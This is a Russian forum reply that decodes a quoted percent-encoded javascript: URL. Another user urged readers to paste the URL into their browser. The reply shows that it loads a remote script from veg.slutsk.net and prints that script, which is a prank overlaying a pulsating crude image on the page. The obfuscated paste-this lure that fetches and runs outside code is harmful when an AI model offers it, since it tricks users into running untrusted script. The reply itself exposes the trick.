![Цитата](images/misc/quote_icon.png)
Сообщение от
Red Knight
открой в браузере любую страничку, а потом введи в урл следушее:
javascript:%6f%3d%64%6f%63%75%6d%65%6e%74%2e%63%72 %65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%6 9%70%74%22%29%3b%6f%2e%73%65%74%41%74%74%72%69%62% 75%74%65%28%22%73%72%63%22%2c%22%68%74%74%70%3a%2f %2f%76%65%67%2e%73%6c%75%74%73%6b%2e%6e%65%74%2f%7 0%6f%70%61%2e%6a%73%22%29%3b%64%6f%63%75%6d%65%6e% 74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c %64%28%6f%29%3b%76%6f%69%64%28%30%29
o=document.createElement("script");o.setAttribute( "src","http:/ /veg.slutsk.net/popa.js");document.body.appendChild(o);void(0)
Это расшифровка. В приличных местах за это банят. Не глядя. Хотя, если кому интересно, вот содержимое popa.js:
Код:
//(C)VEG, 25.09.2006
var o = document.createElement("img");
o.setAttribute("id", "popa");
o.setAttribute("src", "http://veg.slutsk.net/popa.png");
document.body.appendChild(o);
imgstyle = document.getElementById("popa").style;
imgstyle.position="absolute";
imgw=300; wsp = 1;
imgh=140; hsp = 1;
function Animate()
{
if(imgw>375) wsp = -1;
if(imgw<225) wsp = 1;
if(imgh>170) hsp = -1;
if(imgh<110) hsp = 1;
imgw+=wsp;
imgh+=hsp;
imgstyle.width=imgw+"px";
imgstyle.height=imgh+"px";
// window size
var clientWidth = 0, clientHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
clientWidth = window.innerWidth;
clientHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
clientWidth = document.documentElement.clientWidth;
clientHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
clientWidth = document.body.clientWidth;
clientHeight = document.body.clientHeight;
}
// scroll offset
var scrollLeft = 0, scrollTop = 0;
if( typeof( window.pageYOffset ) == 'number' ) {
scrollTop = window.pageYOffset;
scrollLeft = window.pageXOffset;
} else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
scrollTop = document.body.scrollTop;
scrollLeft = document.body.scrollLeft;
} else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
scrollTop = document.documentElement.scrollTop;
scrollLeft = document.documentElement.scrollLeft;
}
imgstyle.left=scrollLeft+(clientWidth/2-imgw/2)+"px";
imgstyle.top=scrollTop+(clientHeight/2-imgh/2)+"px";
}
setInterval("Animate()",5);